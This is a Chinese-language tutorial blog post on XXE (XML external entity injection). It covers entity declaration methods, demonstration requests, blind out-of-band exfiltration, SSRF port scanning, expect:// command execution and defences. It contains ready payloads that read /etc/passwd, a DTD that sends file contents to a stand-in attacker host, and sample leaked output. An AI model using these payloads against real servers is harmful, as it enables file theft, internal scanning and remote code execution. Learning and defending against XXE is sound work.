zoukankan      html  css  js  c++  java
  • XXE(XML外部实体注入)

    目录

    XXE

    XXE漏洞演示利用

    Blind OOB XXE

    场景1 – 端口扫描

    场景2 – 通过DTD窃取文件

    场景3 – 远程代码执行

    XXE漏洞的挖掘

    XXE的防御


    在学习XXE漏洞之前,我们先了解下XML。传送门——> XML和JSON数据格式

    那么什么是XXE漏洞呢?

    XXE

    XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖
    libxml库,而libxml2.9以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持file://和ftp://等协议,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

    XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件

    那么如何构建外部实体注入呢?

    方式一:直接通过DTD外部实体声明

    <?xml version="1.0"?>
    <!DOCTYPE a[
        <!ENTITY b SYSTEM "file:///etc/passwd">
    ]>
    <a>&b;</a>

    方式二:(一般实体)通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明

    <?xml version="1.0"?>
    <!DOCTYPE a [
           <!ENTITY b SYSTEM "http://mark4z5.com/evil.dtd">
    ]>
    <a>&b;</a>
    
    #而http://mark4z5.com/evil.dtd内容为
    <!ENTITY b SYSTEM "file:///etc/passwd">
    

    方式三:(参数实体)通过DTD外部实体声明引入外部DTD文档,再引入外部实体声明

    <?xml version="1.0"?>
    <!DOCTYPE a [
        <!ENTITY %b SYSTEM "http://mark4z5.com/evil.dtd">
    ]>
    <a>%b;</a>
    
    #http://mark4z5.com/evil.dtd文件内容
    <!ENTITY b SYSTEM "file:///etc/passwd">

    XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。

    XXE漏洞演示利用

    以下是一个简单的XML代码POST请求示例:

    POST /vulnerable HTTP/1.1
    Host: www.test.com
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Referer: https://test.com/test.html
    Content-Type: application/xml
    Content-Length: 294
    Cookie: mycookie=cookies;
    Connection: close
    Upgrade-Insecure-Requests: 1
    
    <?xml version="1.0"?>
    <catalog>
       <core id="test101">
          <author>John, Doe</author>
          <title>I love XML</title>
          <category>Computers</category>
          <price>9.99</price>
          <date>2018-10-01</date>
          <description>XML is the best!</description>
       </core>
    </catalog>

    之后,上述代码将交由服务器的XML处理器解析。代码被解释并返回: {“Request Successful”: “Added!”}

    现在,当攻击者试图滥用XML代码解析时会发生什么?我们将提交的数据修改成如下

    <?xml version="1.0"?>
    <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
    <catalog>
       <core id="test101">
          <author>John, Doe</author>
          <title>I love XML</title>
          <category>Computers</category>
          <price>9.99</price>
          <date>2018-10-01</date>
          <description>&xxe;</description>
       </core>
    </catalog>

    代码被解释并返回:

    {"error": "no results for description root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/bin/sh
    bin:x:2:2:bin:/bin:/bin/sh
    sys:x:3:3:sys:/dev:/bin/sh
    sync:x:4:65534:sync:/bin:/bin/sync...}

    Blind OOB XXE

    如上例所示,服务器将/etc/passwd文件的内容作为响应返回给我们的XXE。但是在某些情况下,即便服务器可能存在XXE,也不会向攻击者的浏览器或代理返回任何响应。遇到这种情况,我们可以使用Blind XXE漏洞来构建一条外带数据(OOB)通道来读取数据。虽然我们无法直接查看文件内容,但我们仍然可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。

    场景1 – 端口扫描

    在第一个示例中,我们通过URI将请求指向了/etc/passwd文件,并最终成功的为我们返回了文件中的内容。除此之外,我们也可以使用http URI并强制服务器向我们指定的端点和端口发送GET请求,将XXE转换为SSRF(服务器端请求伪造)。

    以下代码将尝试与端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启。

    <?xml version="1.0"?>
    <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
    <catalog>
       <core id="test101">
          <author>John, Doe</author>
          <title>I love XML</title>
          <category>Computers</category>
          <price>9.99</price>
          <date>2018-10-01</date>
          <description>&xxe;</description>
       </core>
    </catalog>

    场景2 – 通过DTD窃取文件

    外部文档类型定义(DTD)文件可被用于触发OOB XXE。攻击者将.dtd文件托管在VPS上,使远程易受攻击的服务器获取该文件并执行其中的恶意命令。

    以下请求将被发送到应用程序以演示和测试该方法:

    <?xml version="1.0"?>
    <!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
    <catalog>
       <core id="test101">
          <author>John, Doe</author>
          <title>I love XML</title>
          <category>Computers</category>
          <price>9.99</price>
          <date>2018-10-01</date>
          <description>&xxe;</description>
       </core>
    </catalog>

    上述代码一旦由易受攻击的服务器处理,就会向我们的远程服务器发送请求,查找包含我们的payload的DTD文件:

    <!ENTITY % file SYSTEM "file:///etc/passwd">
    <!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
    %all;

    结果是有两个请求被发送到了我们的服务器,第二个请求为/etc/passwd文件的内容。

    在我们的VPS日志中我们可以看到,带有文件内容的第二个请求,以此我们也确认了OOB XXE漏洞的存在:

    http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh

    场景3 – 远程代码执行

    这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:

    <?xml version="1.0"?>
    <!DOCTYPE GVI [ <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "expect://id" >]>
    <catalog>
       <core id="test101">
          <author>John, Doe</author>
          <title>I love XML</title>
          <category>Computers</category>
          <price>9.99</price>
          <date>2018-10-01</date>
          <description>&xxe;</description>
       </core>
    </catalog>

    响应:

    {"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

    XXE漏洞的挖掘

    通过手工篡改网站中xml实体中的头部,加入相关的读取文件或者是链接,或者是命令执行等,如file:///$path/file.txt;http://url/file.txt;看看能否显示出来

    XXE的防御

    XML解析库在调用时严格禁止对外部实体的解析。

    方案一:使用开发语言提供的禁用外部实体的方法

    PHP:
    libxml_disable_entity_loader(true);
    
    JAVA:
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    
    Python:
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

    方案二:过滤用户提交的XML数据
    关键词:<!DOCTYPE  和  <!ENTITY  或者  SYSTEM和PUBLIC。

    参考文章:XXE漏洞利用技巧:从XML到远程代码执行

                      xxe漏洞的学习与利用总结
    相关文章:SSRF(服务端请求伪造)漏洞

                      XXE之利用本地DTD进行文件读取

  • 相关阅读:
    揭示同步块索引(下):总结
    关于.NET技术体系的思维导图
    嵌入式Linux中摄像头使用简要整理
    Tslib和Qt 4.8.4与在开发板上的移植
    图像处理经典图片Lena背后的故事
    Linux 下编译安装OpenCV
    Linux 下编译、安装、配置 QT
    Qt Creator的配置和开发初步测试
    OpenCV的第一个小程序:读取图像并显示
    转:智能手机Flash/DRAM选择、配置与价格大全
  • 原文地址:https://www.cnblogs.com/csnd/p/11807716.html
Copyright © 2011-2022 走看看